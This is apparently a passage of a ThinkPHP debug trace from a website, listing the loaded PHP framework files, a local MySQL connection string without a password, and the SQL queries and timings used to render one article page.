  77. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Cache.php ( 4.92 KB )
  78. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/psr/simple-cache/src/CacheInterface.php ( 4.71 KB )
  79. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-helper/src/helper/Arr.php ( 16.63 KB )
  80. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/cache/driver/File.php ( 7.84 KB )
  81. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/cache/Driver.php ( 9.03 KB )
  82. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/contract/CacheHandlerInterface.php ( 1.99 KB )
  83. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/app/Request.php ( 0.09 KB )
  84. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Request.php ( 55.78 KB )
  85. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/app/middleware.php ( 0.25 KB )
  86. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Pipeline.php ( 2.61 KB )
  87. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-trace/src/TraceDebug.php ( 3.40 KB )
  88. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/middleware/SessionInit.php ( 1.94 KB )
  89. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Session.php ( 1.80 KB )
  90. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/session/driver/File.php ( 6.27 KB )
  91. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/contract/SessionHandlerInterface.php ( 0.87 KB )
  92. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/session/Store.php ( 7.12 KB )
  93. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Route.php ( 23.73 KB )
  94. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/route/RuleName.php ( 5.75 KB )
  95. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/route/Domain.php ( 2.53 KB )
  96. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/route/RuleGroup.php ( 22.43 KB )
  97. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/route/Rule.php ( 26.95 KB )
  98. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/route/RuleItem.php ( 9.78 KB )
  99. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/route/app.php ( 1.72 KB )
  100. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/facade/Route.php ( 4.70 KB )
  101. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/route/dispatch/Controller.php ( 4.74 KB )
  102. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/route/Dispatch.php ( 10.44 KB )
  103. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/app/controller/Index.php ( 4.81 KB )
  104. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/app/BaseController.php ( 2.05 KB )
  105. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/facade/Db.php ( 0.93 KB )
  106. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/connector/Mysql.php ( 5.44 KB )
  107. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/PDOConnection.php ( 52.47 KB )
  108. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/Connection.php ( 8.39 KB )
  109. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/ConnectionInterface.php ( 4.57 KB )
  110. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/builder/Mysql.php ( 16.58 KB )
  111. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/Builder.php ( 24.06 KB )
  112. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/BaseBuilder.php ( 27.50 KB )
  113. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/Query.php ( 15.71 KB )
  114. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/BaseQuery.php ( 45.13 KB )
  115. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/TimeFieldQuery.php ( 7.43 KB )
  116. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/AggregateQuery.php ( 3.26 KB )
  117. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/ModelRelationQuery.php ( 20.07 KB )
  118. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/ParamsBind.php ( 3.66 KB )
  119. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/ResultOperation.php ( 7.01 KB )
  120. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/WhereQuery.php ( 19.37 KB )
  121. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/JoinAndViewQuery.php ( 7.11 KB )
  122. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/TableFieldInfo.php ( 2.63 KB )
  123. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/Transaction.php ( 2.77 KB )
  124. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/log/driver/File.php ( 5.96 KB )
  125. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/contract/LogHandlerInterface.php ( 0.86 KB )
  126. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/log/Channel.php ( 3.89 KB )
  127. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/event/LogRecord.php ( 1.02 KB )
  128. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-helper/src/Collection.php ( 16.47 KB )
  129. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/facade/View.php ( 1.70 KB )
  130. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/View.php ( 4.39 KB )
  131. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Response.php ( 8.81 KB )
  132. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/response/View.php ( 3.29 KB )
  133. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Cookie.php ( 6.06 KB )
  134. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-view/src/Think.php ( 8.38 KB )
  135. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/contract/TemplateHandlerInterface.php ( 1.60 KB )
  136. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-template/src/Template.php ( 46.61 KB )
  137. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-template/src/template/driver/File.php ( 2.41 KB )
  138. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-template/src/template/contract/DriverInterface.php ( 0.86 KB )
  139. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/runtime/temp/067d451b9a0c665040f3f1bdd3293d68.php ( 11.98 KB )
  140. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-trace/src/Html.php ( 4.42 KB )
  1. CONNECT:[ UseTime:0.000399s ] mysql:host=127.0.0.1;port=3306;dbname=f_mffb;charset=utf8mb4
  2. SHOW FULL COLUMNS FROM `fenlei` [ RunTime:0.000765s ]
  3. SELECT * FROM `fenlei` WHERE `fid` = 0 [ RunTime:0.000311s ]
  4. SELECT * FROM `fenlei` WHERE `fid` = 63 [ RunTime:0.000266s ]
  5. SHOW FULL COLUMNS FROM `set` [ RunTime:0.000485s ]
  6. SELECT * FROM `set` [ RunTime:0.000197s ]
  7. SHOW FULL COLUMNS FROM `article` [ RunTime:0.000574s ]
  8. SELECT * FROM `article` WHERE `id` = 466282 LIMIT 1 [ RunTime:0.000494s ]
  9. UPDATE `article` SET `lasttime` = 1770544708 WHERE `id` = 466282 [ RunTime:0.016459s ]
  10. SELECT * FROM `fenlei` WHERE `id` = 65 LIMIT 1 [ RunTime:0.000290s ]
  11. SELECT * FROM `article` WHERE `id` < 466282 ORDER BY `id` DESC LIMIT 1 [ RunTime:0.000443s ]
  12. SELECT * FROM `article` WHERE `id` > 466282 ORDER BY `id` ASC LIMIT 1 [ RunTime:0.000365s ]
  13. SELECT * FROM `article` WHERE `id` < 466282 ORDER BY `id` DESC LIMIT 10 [ RunTime:0.007195s ]
  14. SELECT * FROM `article` WHERE `id` < 466282 ORDER BY `id` DESC LIMIT 10,10 [ RunTime:0.001517s ]
  15. SELECT * FROM `article` WHERE `id` < 466282 ORDER BY `id` DESC LIMIT 20,10 [ RunTime:0.000775s ]
0.099424s